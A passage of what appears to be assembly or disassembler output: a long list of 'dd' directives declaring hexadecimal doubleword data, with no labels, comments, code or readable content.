59DB7Fh, 6F264CA8h dd 483F5574h, 9189CF00h, 9F9932B4h, 6552046Ch, 0A051FB24h dd 0C9009B3Ch, 8D43B14Fh, 4C117A22h, 9F01A480h, 0CA926A2Ch dd 0F346D4E0h, 2B21BD00h, 951D4C7Bh, 733F1FB5h, 3920047h dd 0B0A58032h, 6AFAC409h, 9ECC80A7h, 33FAD61h, 0DB2AC24Eh dd 0CF91017Ch, 86D7E4AAh, 0C864A700h, 8CFC3352h, 0ADEF1C73h dd 1CA60041h, 0B29351CBh, 50E97700h, 0A3A8E6BBh, 0E85A492Bh dd 83F073h, 96E4F57Dh, 0B6CD6B0Fh, 0B8C62B0Fh, 0F616C098h dd 39114Fh, 0A2B3F8BDh, 0B5A6CCC2h, 9B649D0Ch, 6D2181h dd 0C9BAC4D4h, 5017D908h, 64A67F05h, 9040223Ah, 21DF802Bh dd 72230053h, 41E9E2EAh, 0B290EF55h, 175A0200h, 4C95F696h dd 0B5B0071h, 0C5052BFBh, 19B0C3ACh, 0D0A29780h, 7740CE02h dd 83AEB186h, 0F11B0E90h, 4020ED5Dh, 0B2D51363h, 449B0097h dd 0D1C7807h, 87188F00h, 0EB53151h, 0D8AA02FAh, 0BDC8656Ah dd 2467CE0h, 53AA800h, 0E940172Bh, 13F90089h, 285B41DAh dd 7305750Ah, 9C9D633Ah, 0E4CB9401h, 0CC60EA40h, 6DCA00A3h dd 0B7B9D6D2h, 9250C38Ch, 0C27BEF9Dh, 0A6A19D00h, 0C783276h dd 8D7300A8h, 4692B64Ch, 0F9F60EA9h, 873CF700h, 90D6C5AAh dd 8B9100ACh, 0BDA44807h, 584815F1h, 0C8EC26F8h, 0D8201313h dd 111784Fh, 7CCD208Fh, 20991742h, 0C7B87428h, 5C0CB302h dd 411A7F10h, 94F03D49h, 3FE300C8h, 88BD135Bh, 8703F6B7h dd 60C29AF7h, 0DBC4D04Dh, 0A2DCA035h, 0CF01213h, 0B444803Dh dd 5100F25Fh, 670DBAF3h, 0C626A4h, 21BE7560h, 0D65D503Ah dd 0AC7B1A90h, 7658E800h, 4C1EFE1h, 104B06Bh, 0C978F97Eh dd 20442A45h, 5B00D872h, 0D73FD6C1h, 0EA1682h, 0DDF718EFh dd 0E17E0FF0h, 7402DF00h, 209DFE49h, 8AC22CF4h, 0F3043A88h dd 0C74E81A4h, 0D8C5B0DCh, 1906936h, 5E3C9401h, 9806D217h dd 0E2B6EDCCh, 0C17F3887h, 0B486724h, 5CA01BC4h, 0F60E6183h dd 0C74D7007h, 0CD206F7Ch, 0E59220Bh, 89C1E9C8h, 7E4B5421h dd 8F09F0EDh, 8643B200h, 0C7E124F7h, 143600DDh, 85BF5D1Ch dd 473573Eh, 0F3682962h, 0A4661Bh, 0BA978269h, 57738DDCh dd 393B3800h, 9DA93314h, 0AFF1D03h, 1BFC00CEh, 1DF23268h dd 0A0122700h, 0B057DB1h, 0BE5D02F1h, 75C28E2Eh, 6091CC80h dd 7874096Bh, 0BFD4B800h, 65305E5Dh, 77FB0679h, 1E3CC962h dd 8863F62Ch, 2B1F0612h, 4EA6003Ah, 0E96F68FEh, 3B69005Fh dd 311855C5h, 0B4A080D0h, 0D8002DA4h, 0A2762916h, 7F8E66h dd 9DD35869h, 7B01E09h, 2A7B5100h, 7ACF0B9Ch, 56370057h dd 0DEEBDC08h, 0C2506382h, 1C000E84h, 6FC8529Dh, 0BCED16h dd 130DC12Ch, 25C5AED6h, 0C0729300h, 0F017DF91h, 0DB28006Eh dd 8906225Dh, 96009204h, 4D72E473h, 2FC83C4h, 0E7BB52E9h dd 0EE60518Bh, 6C13A8B1h, 4203B94h, 9488576h, 2C635CBh dd 9D80386Fh, 0EFB1F886h, 3B577FFFh, 1CC8772Dh, 6D130108h dd 40CF8400h, 78B2AB5h, 0F8E8F570h, 3E4CE06Ch, 0C7098D23h dd 0ABC08h, 2C310678h, 0CDE9810h, 1E74134Dh, 0BA007B18h dd 694AD6E8h, 1DB29F11h, 0BF25AB2Dh, 3CB60A80h, 5DE4C770h dd 0D0E8DE8h, 0BC08E33h, 2A9D813Eh, 5CD07CE3h, 37754h dd 67AF643Bh, 0C0C4E8CBh, 0BABDA800h, 27A74668h, 0E489502Eh dd 150C0076h, 65392A52h, 0E900E8BDh, 53A1D45Ah, 0F64D0697h dd 0FC7F00FAh, 0A305026Eh, 4B00CE73h, 4FC14EE9h, 1A2DE7Eh dd 0A8179A7Bh, 0F4EA7F3Eh, 8CA8D176h, 0CF00501Bh, 0A20DC331h dd 0EEF991FAh, 0D31F4CA5h, 674A1100h, 2386C7BFh, 0F6A158h dd 35159BC5h, 0F8C6F3BEh, 0B2843814h, 4730DF02h, 4C58E177h dd 2DCB1E00h, 0EBE76413h, 5508147Eh, 0A801E34Ch, 4A3D4526h dd 0DD28C40Fh, 32D18600h, 6885A342h, 9CC20312h, 593E2DEh dd 1320AB90h, 741C7D0Fh, 4B0F40D7h, 131E9F0Eh, 0DCE59Ah dd 0FB8C6F3Fh, 7006815h, 433F8DA2h, 0D0DB4Ch, 0BA231E26h dd 3D8FE0E7h, 4DC2DD00h, 0B3C040F3h, 159500D9h, 17A8663Eh dd 0DE00C793h, 68D51E60h, 0E20A10E5h, 0A3F500ECh, 48614608h dd 30FE6B0Ch, 0D1788B0Fh, 0FC86C0B2h, 7B748982h, 0E9A00B1h dd 88668776h, 34E84206h, 7E3EB000h, 744C0727h, 6710011Fh dd 363DED5h, 6E006F16h, 0AE64A482h, 0E7CCA06Ch, 750B0085h dd 0CE1E7F0Eh, 670B3C7Dh, 8098CB99h, 0D25E0648h, 730FFE0Ah dd 31C7001Dh, 0E8F24969h, 60F80B45h, 0ACE6D100h, 238B6C1Ah dd 0CCAA5075h, 6157295Ah, 0E0A303A8h, 0BB988227h, 0F4B8E7FDh dd 5B864712h, 445C0482h, 836D0030h, 8C63F9C4h, 99079C8Eh dd 75DD851h, 644CB250h, 4B18C0C3h, 96851221h, 290AD900h dd 322B5E11h, 52BC60F3h, 0CF072199h, 0C92A4600h, 0F67C4F20h dd 35BF3DC0h, 19941200h, 11741542h, 5CEC3Ah, 0FFF96BB3h dd 0BDB3ED3h, 797C5545h, 7700888Eh, 0B1A83B0Bh, 0CF904F74h dd 141F8179h, 8C49CE5Ah, 0D1AD8059h, 0EE47403h, 0CA8FADA6h dd 5DA1CF5Ch, 0CDB3B740h, 1F05AEEAh, 0D4B435C9h, 0CECFF6C0h dd 4CA1B862h, 0A700F191h, 61BF2193h, 8C98C5EFh, 0D1288A00h dd 99EB7DFDh, 782F0E49h, 61C09A45h, 1F510132h, 341DE600h dd 0E59C9B3Dh, 1FD89A7Ah dd 102D52h, 0FEA1E70Ch, 90094817h, 81B6D861h, 21D5578Ch dd 80369140h, 0FC9C4Eh, 0F35C3A81h, 0E20E5E58h, 0BFCB78h dd 0A66AFF91h, 0C4680067h, 0D95A300Fh, 761E1BC6h, 85C0984Dh dd 493927F3h, 53C1001Ah, 0FDB8913h, 610F128Eh, 0E0BA5B8Ch dd 33F6A33Bh, 593D03B9h, 0A69E71D5h, 9F0972D8h, 24FC8F60h dd 4E1DBh, 352E654Ah, 80F15955h, 0DF997E0Fh, 0C8B240C0h dd 90771Fh, 0B7DB2989h, 30E3C7D5h, 0C038A0Eh, 4446A01Dh dd 0FD5A8Fh, 0CA3B9260h, 6E174BB8h, 16A11C26h, 48DAA00h dd 1A915Dh, 18419B86h, 21B2145Bh, 0CFA8AF5Ah, 1EDD290Fh dd 6B018F80h, 0C00026D3h, 8D0E2438h, 3D4FDFF1h, 2005C2Fh dd 277713ECh, 3301CDA9h, 0CEAA5D5Eh, 70D832C6h, 14FE302Ch dd 9706AC0Ch, 0B2D6A160h, 75DEB7Ah, 2A8F397Ch, 0B5119028h dd 14003E53h, 1AA0D01Dh, 1DD908B6h, 1520A09h, 46196D35h dd 0A26FDC1Ch, 75410B00h, 27B85A53h, 7D350005h, 8351E73Dh dd 0D00DF80h, 7231F2CCh, 4A5907h, 374BDE9Fh, 9BD32A70h dd 85F7FD3Dh, 8F524C88h, 7A0780EAh, 78079DD8h, 87427BD6h dd 230660E0h, 28B6039Eh, 7C810E82h, 1A2B24B8h, 80BABB00h dd 0F86A78C5h, 18AB00CCh, 65B6712Eh, 0D701D088h, 0B3157EF4h dd 0B607516h, 0B9800013h, 0A82C0DD5h, 5F0019CAh, 4531AD46h dd 0E458EBA2h, 0FAF80AAFh, 17BC0253h, 0F415009Dh, 141F295Fh dd 0BA754200h, 0D6D1E4B1h, 3D6A00DBh, 97CA2074h, 0B616CD8Eh dd 0A6002CE3h, 0F2884B46h, 0A9A400ABh, 0D34008B7h, 0C0C9A66h dd 6005945Dh, 147F0052h, 4F2DC7D0h, 1551C978h, 0ECDED0EEh dd 89569F37h, 6A6FF610h, 0C71F195Bh, 30930855h, 6B000B1Fh dd 0BD1EA36Ch, 6A5AC6h, 0DFD11213h, 1C3815DEh, 193C21Dh dd 1FEE1B80h, 7BFB2244h, 49AF00D1h, 32A8C90h, 1800814Bh dd 40D2E3Ah, 6ABCD5h, 0E019F6ECh, 0CEC975ABh, 0CB20C518h dd 0A3935DA0h, 8EC28D60h, 73096170h, 986FE4D4h, 5F009F1Dh dd 0A9EC32D8h, 0F66760Fh, 57C48037h, 31D454Dh, 21E0CF4h dd 53D0553Bh, 7600402Ah, 5690EE69h, 5304D97h, 5D0A9A21h dd 2A983292h, 0A90F1D04h, 0C0D848E7h, 8CCF3908h, 0C4666400h dd 0BE5BB30Bh, 6E05016Bh, 0D3E24F90h, 0BD63CCFAh, 8A1C7F00h dd 26F460A4h, 39744Ah, 0E4BB0C28h, 0FE86B154h, 0A1EF6E0Fh dd 539F00EBh, 3074C4h, 0A64DB7AEh, 9D1FB979h, 0D99C3Fh dd 7CA1137Ah, 3F496CF7h, 0D42C8B16h, 52E20AEAh, 0B920FE0h dd 4C784F5Eh, 6067B280h, 681FF011h, 994381E8h, 0E0348219h dd 0DCA7DA55h, 0D48B86F0h, 22F76052h, 0C8380048h, 63305971h dd 603B630Eh, 693FEC14h, 0C5F00008h, 0C2AE7C04h, 5BC80072h dd 821A4D2Ah, 0C7005319h, 9C54712Ch, 6060DF70h, 0EED1183Dh dd 5D01594Dh, 0E4F868A0h, 0A5F08156h, 51960E89h, 1366B957h dd 9F0069E1h, 54615CB8h, 50C0ACh, 5620662Bh, 49CB5FC3h dd 0DEDF2626h, 16E9C605h, 0AFB430C1h, 285F23F4h, 3E46E83h dd 42B8EA02h, 0F0004CCAh, 1FB4DDEBh, 8A8B55h, 2E998EFAh dd 5FC6622Fh, 7A3BAD70h, 8F84D450h, 0BAA6FF03h, 7CFA2Ah dd 2801BD51h, 8E4E9E2h, 18C0EBF8h, 4DC1840Bh, 140700D0h dd 79BFE57Ah, 4A5E4C0h, 9EE96880h, 7E53E33h, 2D5C6495h dd 0C06DC7C6h, 0EE502B9Fh, 512CC516h, 3964EA01h, 0F61BDCCh dd 75308460h, 38B50758h, 0AE9AE553h, 9F4DF67h, 0B8B69401h dd 46980F8h, 7C1E3CDDh, 51851E2Ah, 0FF087363h, 0D5372100h dd 17891B3Ch, 3AE00052h, 6F28D78Dh, 7300FE11h, 4027A7E4h dd 7FC65C7h, 51C13AFBh, 7234C053h, 85009ED1h, 0BFF77875h dd 61355795h, 79AC88D3h, 48F0837Ch, 0F9DFA6h, 0DC7ECB48h dd 0BEF76B06h, 4D1C4C00h, 796EE43h, 8C2750A8h, 21C91497h dd 29E720ADh, 81208888h, 0DD1F79EAh, 9FB050C3h, 4A0091C2h dd 0F974BD49h, 0E8716540h, 21DC97h, 0F06991CAh, 0F7030C57h dd 6823F2B4h, 71D803EEh, 33C0937Eh, 0BF0081CEh, 0D9BA1859h dd 18190CF2h, 814FAC4h, 20DFBD8Eh, 3B801F9Ch, 9E364A99h dd 4B4503C6h, 0BD85666Ch, 0AA7B86B3h, 0E52AB702h, 485411D1h dd 4B6004h, 47C7C383h, 37CF25A4h, 21A808CCh, 83330012h dd 6EB5EE14h, 703050EDh, 2C0AC9C0h, 0DDD10027h, 9E9338DFh dd 180F54FAh, 0A3BAC3E6h, 2653F28Fh, 0F583649h, 75E02545h dd 0C61BA47Dh, 0DA8EF30Ch, 0EBA5518Bh, 3AB00560h, 0AD80F24Dh dd 436F605Ah, 120E2DC1h, 8ACC52C6h, 0E50894EDh, 80321150h dd 0F2DABA17h, 0BB018764h, 1237BA22h, 6C2B2CCh, 0DCC2A32h dd 0AF28A0A8h, 0C464C245h, 1C604758h, 0F223DDBAh, 2188182Ch dd 0F2C06466h, 0E8D0B39Ch, 8A9B0207h, 0E3A31153h, 0F208080h dd 3C035D08h, 86FF0B97h, 0F570E7AAh, 0E59B1E0h, 34FCF1B8h dd 0CD380800h, 411D4B7Bh, 0F5007425h, 4C936AC7h, 9A4E891h dd 0F1A77765h, 0F29AA020h, 0E200B549h, 0FE97529Fh, 1344FAAEh dd 0EF3C8619h, 0A2EEA102h, 806042FDh, 0B3FEA800h, 0BDE1E917h dd 6379D1D7h, 0CE166026h, 589BA191h, 4889860h, 1F9100B6h dd 4DFAD0A8h, 0D304F240h, 535423D2h, 30CA00C2h, 1A3D3CD9h dd 23FC67Ch, 0D1002340h, 0CDA8F73Ch, 40B333Bh, 5ECB7444h dd 0B68890A4h, 0F9608C26h, 0B376C750h, 0F76900DCh, 7C573942h dd 0F4002243h, 0FD6CC610h, 0C77BACAAh, 76D3B2A8h, 2B0089F3h dd 53FAE59h, 77E4239h, 77ECBB4Dh, 1D6B70F3h, 32014157h dd 0A686CC1Ch, 9841F073h, 55D87211h, 0C61D1870h, 0D85CDC91h dd 3DAC3600h, 0A427D005h, 0A0FF01CFh, 0A2C37CFBh, 4C5025C2h dd 0CC186A74h, 7B18ECDAh, 50E12473h, 0D3FE02C8h, 9C892F4Bh dd 7E389C1Dh, 442F0086h, 0EF9AD7F7h, 6415D448h, 1D491DCh dd 780F8541h, 9D2060C5h, 1C6E7740h, 0CE22E2h, 822135A9h dd 87263F70h, 49016875h, 8A2FA844h, 7C20A831h, 0C9E34033h dd 85672BECh, 0FC10C28h, 2824A811h, 1289BD4h, 0C7CE8340h dd 405A184Fh, 480013E5h, 9741E983h, 0FCB5D832h, 7FA61449h dd 0D5232819h, 0CF833F01h, 70E67C7h, 22834716h, 0CC6123F0h dd 40F600E3h, 7511F138h, 76199699h, 0D2D07EA3h, 400CB430h dd 41005E8Dh, 0E8E7AB1Ah, 9B74380h, 0CDC9C727h, 92ACBC20h dd 906314h, 0D8516D28h, 0EE242072h, 14BE4C93h, 0E5E452F5h dd 0D23802Eh, 0E110FD19h, 0A1E6B3E8h, 8C4147BAh, 24DAF933h dd 834660D6h, 5FC723C0h, 0E3203Bh, 0F6834E15h, 52D99EC7h dd 0FF8EDCA0h, 4D414C61h, 0E432C472h, 5106EE12h, 0C7C09878h dd 7CE2BACFh, 77E73803h, 0DEDA9AB1h, 0A1C90039h, 0D8EB423Ah dd 0F4036438h, 0D16A1485h, 0CFB0237Bh, 0C1834D01h, 0A61837C7h dd 358021C0h, 1CC59983h, 0FEE88F9Fh, 3AD2A048h, 0C07610F4h dd 0CCD72BC3h, 0C3F4D688h, 0DC9F1E28h, 0A60D4B00h, 27EB5668h dd 11EC00CFh, 0BF1801A9h, 68912949h, 86E4A878h, 0F5B8C0Fh dd 0A06A4123h, 0A0227E85h, 0E0EF537Ah, 0CE4A6E1h, 0A32E266Ch dd 465211E0h, 0F40602D0h, 6BC4EAFBh, 0FCB18B2Ch, 0C41154C2h dd 0BEE70BBCh, 0DC30E85Eh, 1F0A1449h, 987348F6h, 0A722C980h dd 27F701Dh, 68C3DA4Ah, 54400272h, 0F406AF71h, 2542F5C0h dd 0F7C70531h, 40F24C62h, 0CECAE3BCh, 680988D8h, 33C9C05Bh dd 173CE080h, 2202467Ch, 0D024000Bh, 39D7773Ch, 0B7020328h dd 0DC76387Fh, 0A1B84CD5h dd 0DB18CCACh, 7C1C3C08h, 4001C4DAh, 0AD3CD339h, 2DAC0044h dd 4DDB7DE2h, 41C0F4AAh, 0CF9281BDh, 34100388h, 25D41FDh dd 48B62998h, 0D676CE0Bh, 0DF340090h, 0BAE2CBF2h, 7A5E04D0h dd 88429D25h, 0F88CD218h, 0C7C41183h, 0E55B843Fh, 834A1100h dd 0E9009FB2h, 8654FCCCh, 9DE490Fh, 5FAE0D1Ah, 0A8822889h dd 0EC90C252h, 0E78072FDh, 60164DD6h, 688F3D12h, 0B75CF6E8h dd 67270E6Bh, 805D4988h, 0D681E700h, 99F40ABDh, 8084FCA7h dd 0E06BFAC6h, 5018155Fh, 1D19FBA8h, 0C2967DBEh, 42F9C842h dd 49438C68h, 5B0B7614h, 8C08BCC8h, 737ADB06h, 24D05BC1h dd 51F4BEF4h, 24651834h, 2C34D8BAh, 10B970E8h, 0CD24BA00h dd 6BADA629h, 508B077h, 519ECAD0h, 34589582h, 0C39408F8h dd 0ED537D80h, 98202B88h, 79DC910Eh, 921801h, 0DCA71CA8h dd 0CA3270C7h, 7BBF7613h, 0BF60044h, 626ACCBh, 8D217468h dd 9FAF80BDh, 0D251D583h, 21D46900h, 3B1FE191h, 0F0AA3010h dd 4ADCEFB9h, 0C2947D00h, 620D0E05h, 954BA6Ch, 3A74F3Fh dd 8EE27045h, 8F0618BDh, 0F440AC00h, 0EE0D0A5Ch, 0F5F90029h dd 64595269h, 4912AE61h, 0DC28A7B1h, 0DE058CB7h, 327C1D3Ch dd 360E6CCEh, 8DCF3CD6h, 50B819A0h, 45F2BF98h, 400E0B0Ah dd 2017A8F7h, 0CB13D800h, 94F6F168h, 388AC68h, 0FF2ED60Bh dd 4F02848h, 5A1F8664h, 8C30FCD9h, 78722EE5h, 2F29977Ch dd 0E4A5103Ch, 249643C7h, 9AD881B4h, 0E25433A9h, 6DDF3007h dd 1499289Ah, 86E55778h, 0A91F70ECh, 0E817B6D4h, 0A8121C44h dd 4CC0D048h, 5CC7C283h, 0FE1A82Fh, 68708034h, 3A909B10h dd 21D1026Dh, 410C571Ah, 0A308949Dh, 7A9062E3h, 0A6F5A4E0h dd 2788F480h, 7417C417h, 8E808D91h, 0EFCB638h, 20682301h dd 2DBF236h, 0C0C08ECEh, 0BAD4707Fh, 93DC80C3h, 1B03F892h dd 924C06ADh, 5FDDF063h, 705700DBh, 15F12BFDh, 1E626A3Ah dd 615E05A8h, 0DC26C350h, 0DE9CCE24h, 6854B500h, 3CBC1A9Ah dd 1BAB0096h, 2AF0B827h, 8F304A29h, 1D7951F3h, 85C40264h dd 0B50F20BEh, 5A78D871h, 300086E5h, 28589209h, 2C4907E0h dd 8208DC0Eh, 799F8869h, 4ED67C48h, 4C140849h, 43A3BC64h dd 2F7801E3h, 62EE1372h, 71C38429h, 18A6B97Bh, 0FFF0B091h dd 0E0086BFh, 153EDFC8h, 696996Bh, 11CF9A2Eh, 1200A950h dd 0CC059092h, 1D7E07h, 0B2762DBCh, 0C0AC593Ch, 127A1E3Eh dd 0AC2F2785h, 0C7E4A510h, 81302F26h, 58FACBF1h, 4D82C89Eh dd 0D4C81BA3h, 896974Eh, 0F43E3191h, 848344Ch, 0DAC0CB88h dd 437C193Ch, 80228FD2h, 8F0D6B3Ch, 3658A0A6h, 580102ABh dd 5C277ECAh, 0F1E96CC1h, 0C0DC3866h, 494591CFh, 9C448C95h dd 91B70005h, 0A21FB555h, 2A05A89Ah, 12C3A4F2h, 0FFE24C8h dd 7AE2164h, 440EA000h, 0BC244904h, 0F8DCFC2Ah, 6DD98072h dd 17591D40h, 209D7B7Ch, 0A4502374h, 90A17180h, 0BE109C6h dd 5C972784h, 60E4A888h, 0DB4582FCh, 786AE20Ah, 0F28994ABh dd 0C3EC4D41h, 0D4A0E943h, 4CB820F0h, 742744h, 0E7D526A7h dd 21D84232h, 1B7A7CE8h, 1DE86B69h, 8084116Ch, 4AF4354Dh dd 7F52F405h, 40449E99h, 3A437C15h, 0CA9C4B50h, 0D3070890h dd 745D1EA2h, 6F979260h, 0F7D20123h, 12A16A3h, 0A2583393h dd 0CA45308Dh, 0A000947Eh, 0D77FAF76h, 0BC9C570h, 99FF649h dd 8BA61C40h, 4803BCB6h, 25154AD6h, 9C10CB18h, 79C77567h dd 0B4404726h, 7E12E819h, 0B0C21DF2h, 4099C0DEh, 868849CBh dd 0CC54261Dh, 817C012h, 1A2FB000h, 0A075E645h, 0A86212ACh dd 0F4FBD0h, 7D33C242h, 3954B783h, 430D2401h, 999ADCEBh dd 4D6861FEh, 0AA7EAE10h, 0ADFD6300h, 498642Ch, 14C0009h dd 84E88FC6h, 0BC94DF45h, 64CB926Eh, 54C00188h, 3D40C9Ch dd 0BB663A3Dh, 7D90D5CFh, 0B174BD2h, 6041BFFEh, 0B1737C80h dd 0C0168862h, 88008B5Ah, 353FC00Dh, 0C982F73h, 0A590320h dd 1C740E48h, 0E3C900C8h, 97E4EFE5h, 1FA64709h, 6EDCE707h dd 5B60E3C8h, 0B0557233h, 83767CB8h, 407A99A9h, 0D670DFF4h dd 0F5C1FD62h, 1638FA42h, 821ECBF4h, 0C4E04380h, 0F16198A5h dd 58ED9EA0h, 0F2CFB881h, 20BF1854h, 54A72834h, 18E55742h dd 30022A46h, 453F9EAFh, 444469h, 6EB3066Fh, 0ABEC4201h dd 0FA987100h, 44FD178Ch, 53D4033Ch, 611163FEh, 808B7139h dd 643D222Ch, 3E6265Ah, 3D6A3F0h, 95E8D9F1h, 2F000BDCh dd 3372441Ch, 69B7ECEh, 68F76A05h, 3B007926h, 0EA70B138h dd 0EAD23524h, 1208C67Fh, 3D38694Ah, 0CD440B0Eh, 0C1700167h dd 90C8F0F4h, 0C3D80141h, 12D73568h, 6231805Fh, 0A9FAA58h dd 348600F9h, 0C8E9B61Eh, 613C42F2h, 7C8A0769h, 0DAB0D006h dd 90A63709h, 0F610149Ah, 0C9FCC46h, 20C05722h, 5A15E609h dd 61B40F69h, 27E7A6CCh, 2B08643Dh, 2176A80Eh, 0A80E559h dd 43FE752Eh, 0E1A902BDh, 987DFDC7h, 49806871h, 5B84E08Fh dd 0C16E060Eh, 0A98C6827h, 78BDA200h, 0F53D187h, 0A5AC008Fh dd 4BA45808h, 5C026C44h, 340AE511h, 0C0A0E820h, 96132B3Dh dd 711B5858h, 0C788D602h, 41D1AE19h, 0DBDE5278h, 8FC8A1ECh dd 0E0C08F50h, 75A0EDE8h, 54527100h, 4BFAB7AAh, 1D8C9B8Bh dd 0F8C6458Ah, 0BC0E0A7h, 0AC9AEE71h, 4F76C713h, 54E9D882h dd 99465C2Ch, 0C728211Dh, 7C5F9C76h, 0E4A9DF50h, 4B286685h dd 0C23E02Fh, 0ABCD7300h, 5AA6D2A2h, 0D03420B9h, 0DA1D3206h dd 128C6AC6h, 94194Bh, 3407E5CCh, 2FE241B6h, 2A844D3Ch dd 5090BCCAh, 2B7D6725h, 0E58D680h, 7EE00F6Fh, 0C09F428h dd 0E3407018h, 0E7E144A9h, 205E246Dh, 4C426784h, 9124DE00h dd 0A4073AB6h, 6B2A4FC1h, 0CC8400D0h, 86507792h, 31BC0166h dd 2B0B4CAEh, 60302A1Dh, 0C9E2D470h, 30C6E781h, 465EBC94h dd 0AA560359h, 81979517h, 9C28FB0Ah, 0CFD08ECh, 2E18B87Ah dd 7C485D82h, 48008346h, 0F8CDE027h, 9F0046C0h, 0B22C24Ch dd 242D5D79h, 0E1E02C62h, 786C0EC1h, 0F7B818E4h, 6E574B1h dd 0BF4D862h, 0D701817Bh, 0CBD03505h, 2980EEB8h, 88F2FB20h dd 13001816h, 0FA3BB14Fh, 1E69FEBh, 8F4A8DF4h, 33330D6Ah dd 6D380Ch, 0ECBD95C2h, 88CB53h, 2A5170FCh, 713349DFh dd 0E8ED68E0h, 0A4CF67Fh, 0A80D927Ch, 0F980944Bh, 0BE70B8F3h dd 752DFEC7h, 0C13825ADh, 64F764E2h, 983633E3h, 5C81639Fh dd 0D2CB94BEh, 0EFD930E0h, 6D7A1F09h, 0E50CB071h, 0CCAF15FAh dd 6B4EFC4Dh, 0CC78009Ch, 919DCFA3h, 186D0024h, 0C3E54045h dd 70B8E1EAh, 70B3EEB0h, 4CF0D4D8h, 0A9039352h, 9ECC3F48h dd 306572AAh, 7B84651Eh, 9CA86FC5h, 0FA0FC207h, 41D80001h dd 0E93F7155h, 0E30DF53Eh, 286CE614h, 0A6D21C3Dh, 194AA024h dd 0A5D340Eh, 948B3F0h, 2B7745F5h, 3D249000h, 10780066h dd 765EF48Ah, 400E0CFDh, 28FA83Bh, 5CE64115h, 80491134h dd 0F2DBBA1Ah, 0BC00871Ch, 48C6BA21h, 49570998h, 9A04C14Ch dd 7FC8C1BBh, 67F0305Eh, 81812896h, 5BA893C1h, 90B45FCh dd 683F3243h, 2CC08C93h, 2000CC90h, 2367AC0Dh, 84B7040h dd 0BE754DCBh, 73DEE40Eh, 810258CCh, 91E184Dh, 3CF2DFBAh dd 0B8830065h, 0E039BA65h, 2746251h, 89840C6Bh, 98A74E12h dd 0FC6A50DEh, 740025CAh, 3BD795B7h, 355BC9E2h, 0B09E932Dh dd 0C511A214h, 0EC801605h dd 0AFE096B7h, 0E12D5301h, 0F9348B08h, 3D9C088Ch, 0E83B7320h dd 3F4380AFh, 0BD3EAE50h, 0B6C000B2h, 8D9BF08Bh, 0B70E563Bh dd 9FEF5560h, 0C30C3D0Eh, 0F075DCF3h, 666D3992h, 21F9084Bh dd 0F35D2A03h, 0D30226CEh, 0B06FB0BFh, 5F6907B2h, 0C1EA1047h dd 800C8629h, 22BC3C18h, 30D4EEB6h, 9798B58Bh, 4570785Dh dd 0E8196A06h, 60087208h, 48EC6091h, 0D1007865h, 0A93C0ABDh dd 0E5F3FBh, 0E4E4DA2h, 366550EDh, 981C8107h, 2D80EA15h dd 646A35BAh, 6063D18Eh, 23E1F352h, 4115375h, 0F35A2F00h dd 0DA089D58h, 0C716F00h, 8D1799A9h, 3E3D0A4Bh, 8EA8B2AFh dd 52E2E796h, 0B8B1E92Dh, 0EF74109Ah, 2E0C03AFh, 898E1077h dd 500722B8h, 4B7C8307h, 0B1D0DB66h, 18ECD725h, 3839CE5Ch dd 411D1DB6h, 504158CAh, 28BEB26Bh, 21260898h, 0CA3E39FAh dd 0E00C1D71h, 0F14AE641h, 0F5D00507h, 0E39000FEh, 1409E51Dh dd 0AA7F2C8Dh, 77889650h, 3FC8DF64h, 9D1C3C65h, 68C00C8Ch dd 0B9C10665h, 0BA0128E2h, 3B8AEBEDh, 0E85084D4h, 5777CFh dd 6A20665Ah, 0A37B53D6h, 10F68200h, 5C6F977Eh, 15DAF22Ch dd 0BCFC5665h, 0E1AAD700h, 7ACF980Ch, 0FF00DEEEh, 0EB79F057h dd 2875EAB7h, 4694918Bh, 0CA471E5Ah, 1140A37Ah, 62BC5F27h dd 0AA331A00h, 0D4DA3C9Ch, 2010309h, 0A84801F4h, 1CF9F64Ah dd 242B2DF8h, 8647F45h, 893D0423h, 18A6879h, 0EDB6212Ch dd 5E0E5C26h, 72084478h, 4C219BC6h, 20068077h, 9136CCB0h dd 0F8C24100h, 0ABB19761h, 3069F4BCh, 8660B2B4h, 0DF670FEh dd 0DC33F528h, 4CC0A654h, 0D8AC3CE8h, 7490E577h, 0E1F4F948h dd 3C20ED76h, 0C7990516h, 0FAB0019Ah, 0EF42C106h, 0F6BDF0D8h dd 0CC064921h, 0D869B606h, 0A0308892h, 0BDF649A7h, 5D653C1Fh dd 5A417A80h, 0FBBEF36Eh, 0C77A506h, 9A83F51h, 0FFA1A228h dd 4A750400h, 49F0B2B5h, 1049CA8h, 639BA402h, 0A01E86B0h dd 0CAECDFF8h, 9288FA09h, 0F5823CF4h, 9C9EF92h, 0CC04773Ch dd 0B5548231h, 0BBBE5B23h, 1531709Fh, 0C0FC195Ah, 0FE52F800h dd 0A47B3AC6h, 3CC3C15h, 0D5B602C8h, 4C59ECD0h, 0CA461F1Ch dd 8838915Bh, 3EFF802Bh, 9B6612CAh, 81B0A130h, 24155C03h dd 11441E26h, 0CA42835Dh, 3158AA57h, 3AFB1020h, 0FFAC00CAh dd 2FEB2224h, 0F85D0435h, 0DEAE13CAh, 0FB23BC3Ah, 83379F0Eh dd 804CEE84h, 0A01E8E29h, 442DEE8h, 883FF904h, 71C8C062h dd 1100FE57h, 9080FFEAh, 90831F09h, 0C92E0h, 57F4C617h dd 6DAF78EEh, 0EF0BB400h, 0C03C353Ah, 629913B3h, 4E80112h dd 47A4C229h, 0BA28FE8h, 2A033BCDh, 8CC87366h, 0E6F35F04h dd 0FA624B75h, 0F3472C20h, 53F90490h, 0D1D88A2Bh, 555CD5DCh dd 0E8BC08F4h, 47785BC1h, 92185AC1h, 634A31C0h, 1678478h dd 7EC00C9Ah, 0D9F32465h, 56E450AEh, 81DE6D2Ch, 2C55280Fh dd 0D211F2h, 0D8D47C25h, 2C108F89h, 4473E677h, 2DF3900Fh dd 86897870h, 0F03F5430h, 24D09DDh, 5097D0F6h, 0CD802A91h dd 0AF0FF39Eh, 0BBA350A8h, 4D462A00h, 0E07E2B57h, 82330A29h dd 908834h, 0B8AD3CECh, 20E5CDA1h, 423DB7B4h, 2B5A8126h dd 0B1F1A47Dh, 0FE319424h, 0FCCB212h, 1710CC81h, 0E1E2B620h dd 0F9180A44h, 3D20F87Bh, 669E1458h, 2DF120E8h, 0D0021914h dd 785730E4h, 3A464370h, 4E009422h, 5489785Fh, 362AFDh dd 46078829h, 0AFBD5618h, 54CD1C3Dh, 8700C090h, 0FE89F1DAh dd 3D83739Dh, 5501F7EDh, 345361D7h, 2054E111h, 1D8C5EC8h dd 5156CA43h, 80228860h, 6ECA3BF4h, 0EA006851h, 0E9277C6Ch dd 144CD498h, 0E879F686h, 